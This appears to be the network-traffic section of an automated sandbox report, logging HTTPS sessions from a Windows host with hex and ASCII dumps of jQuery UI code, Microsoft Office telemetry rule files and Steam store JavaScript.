2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 28 29 2c 0a 09 09 09 6f 70 74 69 6f 6e 73 20 29 3b 0a 0a 09 09 74 68 69 73 2e 5f 63 72 65 61 74 65 28 29 3b 0a 09 09 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 20 22 63 72 65 61 74 65 22 2c 20 6e 75 6c 6c 2c 20 74 68 69 73 2e 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 28 29 20 29 3b 0a 09 09 74 68 69 73 2e 5f 69 6e 69 74 28 29 3b 0a 09 7d 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 63 72 65 61 74 65 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 69 6e 69 74 3a 20 24 2e 6e 6f 6f 70 2c 0a 0a 09 64 65 73 74 72 6f 79 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 74 Data Ascii: getCreateOptions(),options );this._create();this._trigger( "create", null, this._getCreateEventData() );this._init();},_getCreateOptions: $.noop,_getCreateEventData: $.noop,_create: $.noop,_init: $.noop,destroy: function() {t
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 24 2e 70 6f 73 69 74 69 6f 6e 2e 67 65 74 53 63 72 6f 6c 6c 49 6e 66 6f 28 20 77 69 74 68 69 6e 20 29 2c 0a 09 09 63 6f 6c 6c 69 73 69 6f 6e 20 3d 20 28 20 6f 70 74 69 6f 6e 73 2e 63 6f 6c 6c 69 73 69 6f 6e 20 7c 7c 20 22 66 6c 69 70 22 20 29 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 09 09 6f 66 66 73 65 74 73 20 3d 20 7b 7d 3b 0a 0a 09 64 69 6d 65 6e 73 69 6f 6e 73 20 3d 20 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 20 74 61 72 67 65 74 20 29 3b 0a 09 69 66 20 28 20 74 61 72 67 65 74 5b 30 5d 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 29 20 7b 0a 09 09 2f 2f 20 66 6f 72 63 65 20 6c 65 66 74 20 74 6f 70 20 74 6f 20 61 6c 6c 6f 77 20 66 6c 69 70 70 69 6e 67 0a 09 09 6f 70 74 69 6f 6e 73 2e 61 74 20 3d 20 22 6c 65 66 74 20 74 6f 70 22 3b 0a 09 7d 0a Data Ascii: $.position.getScrollInfo( within ),collision = ( options.collision \|\| "flip" ).split( " " ),offsets = {};dimensions = getDimensions( target );if ( target[0].preventDefault ) {// force left top to allow flippingoptions.at = "left top";}
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 64 65 72 73 2e 69 6e 64 65 78 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2c 0a 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 09 73 77 69 74 63 68 20 28 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 29 20 7b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 52 49 47 48 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 44 4f 57 4e 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 2e 68 65 61 64 65 72 73 5b 20 28 20 63 75 72 72 65 6e 74 49 6e 64 65 78 20 2b 20 31 20 29 20 25 20 6c 65 6e 67 74 68 20 5d 3b 0a 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 4c 45 46 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 55 50 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 Data Ascii: ders.index( event.target ),toFocus = false;switch ( event.keyCode ) {case keyCode.RIGHT:case keyCode.DOWN:toFocus = this.headers[ ( currentIndex + 1 ) % length ];break;case keyCode.LEFT:case keyCode.UP:toFocus = this
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 4d 65 6e 75 49 74 65 6d 73 28 20 63 68 61 72 61 63 74 65 72 20 29 3b 0a 09 09 09 6d 61 74 63 68 20 3d 20 73 6b 69 70 20 26 26 20 6d 61 74 63 68 2e 69 6e 64 65 78 28 20 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 28 29 20 29 20 21 3d 3d 20 2d 31 20 3f 0a 09 09 09 09 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 41 6c 6c 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 20 3a 0a 09 09 09 09 6d 61 74 63 68 3b 0a 0a 09 09 09 2f 2f 20 49 66 20 6e 6f 20 6d 61 74 63 68 65 73 20 6f 6e 20 74 68 65 20 63 75 72 72 65 6e 74 20 66 69 6c 74 65 72 2c 20 72 65 73 65 74 20 74 6f 20 74 68 65 20 6c 61 73 74 20 63 68 61 72 61 63 74 65 72 20 70 72 65 73 73 65 64 0a 09 09 09 2f 2f 20 74 6f 20 6d 6f 76 65 20 64 6f 77 6e 20 74 68 65 20 6d 65 6e 75 20 74 6f 20 74 68 Data Ascii: MenuItems( character );match = skip && match.index( this.active.next() ) !== -1 ?this.active.nextAll( ".ui-menu-item" ) :match;// If no matches on the current filter, reset to the last character pressed// to move down the menu to th
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 75 73 65 64 6f 77 6e 20 61 6e 64 20 63 6c 6f 73 65 20 74 68 65 20 6d 65 6e 75 20 69 66 0a 09 09 09 09 2f 2f 20 74 68 65 20 75 73 65 72 20 63 6c 69 63 6b 73 20 73 6f 6d 65 77 68 65 72 65 20 6f 75 74 73 69 64 65 20 6f 66 20 74 68 65 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 0a 09 09 09 09 76 61 72 20 6d 65 6e 75 45 6c 65 6d 65 6e 74 20 3d 20 74 68 69 73 2e 6d 65 6e 75 2e 65 6c 65 6d 65 6e 74 5b 20 30 20 5d 3b 0a 09 09 09 09 69 66 20 28 20 21 24 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2e 63 6c 6f 73 65 73 74 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 5f 64 65 6c 61 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 74 68 61 74 20 3d 20 74 68 69 73 3b Data Ascii: usedown and close the menu if// the user clicks somewhere outside of the autocompletevar menuElement = this.menu.element[ 0 ];if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {this._delay(function() {var that = this;
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6c 74 65 72 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 69 66 20 28 20 21 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6e 64 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 09 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 61 64 64 43 6c 61 73 73 28 20 22 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 2d 61 63 63 65 73 73 69 62 6c 65 22 20 29 3b 0a 0a 09 09 09 63 68 65 63 6b 65 64 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 73 28 20 22 3a 63 68 65 63 Data Ascii: buttonElement = ancestor.filter( labelSelector );if ( !this.buttonElement.length ) {this.buttonElement = ancestor.find( labelSelector );}}this.element.addClass( "ui-helper-hidden-accessible" );checked = this.element.is( ":chec
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 70 2d 75 70 20 64 61 74 65 20 70 69 63 6b 65 72 20 77 68 65 6e 20 62 75 74 74 6f 6e 20 63 6c 69 63 6b 65 64 0a 09 09 09 62 75 74 74 6f 6e 54 65 78 74 20 3d 20 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 54 65 78 74 22 29 3b 0a 09 09 09 62 75 74 74 6f 6e 49 6d 61 67 65 20 3d 20 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 49 6d 61 67 65 22 29 3b 0a 09 09 09 69 6e 73 74 2e 74 72 69 67 67 65 72 20 3d 20 24 28 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 49 6d 61 67 65 4f 6e 6c 79 22 29 20 3f 0a 09 09 09 09 24 28 22 3c 69 6d 67 2f 3e 22 29 2e 61 64 64 43 6c 61 73 73 28 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 61 73 73 29 2e 0a 09 09 09 09 09 61 74 74 72 28 7b 20 73 72 63 3a 20 62 75 Data Ascii: p-up date picker when button clickedbuttonText = this._get(inst, "buttonText");buttonImage = this._get(inst, "buttonImage");inst.trigger = $(this._get(inst, "buttonImageOnly") ?$("<img/>").addClass(this._triggerClass).attr({ src: bu
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 63 6b 65 72 2e 5f 75 70 64 61 74 65 41 6c 74 65 72 6e 61 74 65 28 69 6e 73 74 29 3b 0a 09 09 09 09 09 24 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 75 70 64 61 74 65 44 61 74 65 70 69 63 6b 65 72 28 69 6e 73 74 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 09 63 61 74 63 68 20 28 65 72 72 29 20 7b 0a 09 09 09 7d 0a 09 09 7d 0a 09 09 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 09 7d 2c 0a 0a 09 2f 2a 20 50 6f 70 2d 75 70 20 74 68 65 20 64 61 74 65 20 70 69 63 6b 65 72 20 66 6f 72 20 61 20 67 69 76 65 6e 20 69 6e 70 75 74 20 66 69 65 6c 64 2e 0a 09 20 2a 20 49 66 20 66 61 6c 73 65 20 72 65 74 75 72 6e 65 64 20 66 72 6f 6d 20 62 65 66 6f 72 65 53 68 6f 77 20 65 76 65 6e 74 20 68 61 6e 64 6c 65 72 20 64 6f 20 6e 6f 74 20 73 68 6f 77 2e 0a 09 20 2a 20 40 70 61 72 61 Data Ascii: cker._updateAlternate(inst);$.datepicker._updateDatepicker(inst);}}catch (err) {}}return true;},/* Pop-up the date picker for a given input field. * If false returned from beforeShow event handler do not show. * @para
2024-10-07 06:47:04 UTC	16384	IN	Data Raw: 72 6d 61 74 20 3d 20 30 3b 20 69 46 6f 72 6d 61 74 20 3c 20 66 6f 72 6d 61 74 2e 6c 65 6e 67 74 68 3b 20 69 46 6f 72 6d 61 74 2b 2b 29 20 7b 0a 09 09 09 69 66 20 28 6c 69 74 65 72 61 6c 29 20 7b 0a 09 09 09 09 69 66 20 28 66 6f 72 6d 61 74 2e 63 68 61 72 41 74 28 69 46 6f 72 6d 61 74 29 20 3d 3d 3d 20 22 27 22 20 26 26 20 21 6c 6f 6f 6b 41 68 65 61 64 28 22 27 22 29 29 20 7b 0a 09 09 09 09 09 6c 69 74 65 72 61 6c 20 3d 20 66 61 6c 73 65 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 63 68 65 63 6b 4c 69 74 65 72 61 6c 28 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 73 77 69 74 63 68 20 28 66 6f 72 6d 61 74 2e 63 68 61 72 41 74 28 69 46 6f 72 6d 61 74 29 29 20 7b 0a 09 09 09 09 09 63 61 73 65 20 22 64 22 3a 0a 09 Data Ascii: rmat = 0; iFormat < format.length; iFormat++) {if (literal) {if (format.charAt(iFormat) === "'" && !lookAhead("'")) {literal = false;} else {checkLiteral();}} else {switch (format.charAt(iFormat)) {case "d":

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7709e3c3-b01e-0097-5e02-174f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48xlwdx82gahegw40000000039000000000964x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48wd55zet5pcra0cg000000033000000000687d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5e879109-c01e-00a2-3e73-172327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48dfrdj7px744zp8s00000002x0000000004w22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48gqrfwecymhhbfm800000001xg000000007yqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48dfrdj7px744zp8s00000002t000000000cubk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49804	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	542	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=10107355 Expires: Sat, 01 Feb 2025 06:23:00 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Length: 85574 Connection: close
2024-10-07 06:47:05 UTC	16037	IN	Data Raw: 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 54 Data Ascii: function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };var tabT
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 54 6f 53 68 6f 77 53 75 63 63 65 73 73 2c 20 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 2c 20 6e 61 76 72 65 66 2c 20 64 69 76 54 6f 48 69 64 Data Ascii: peof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, divToShowSuccess, divToShowError, navref, divToHid
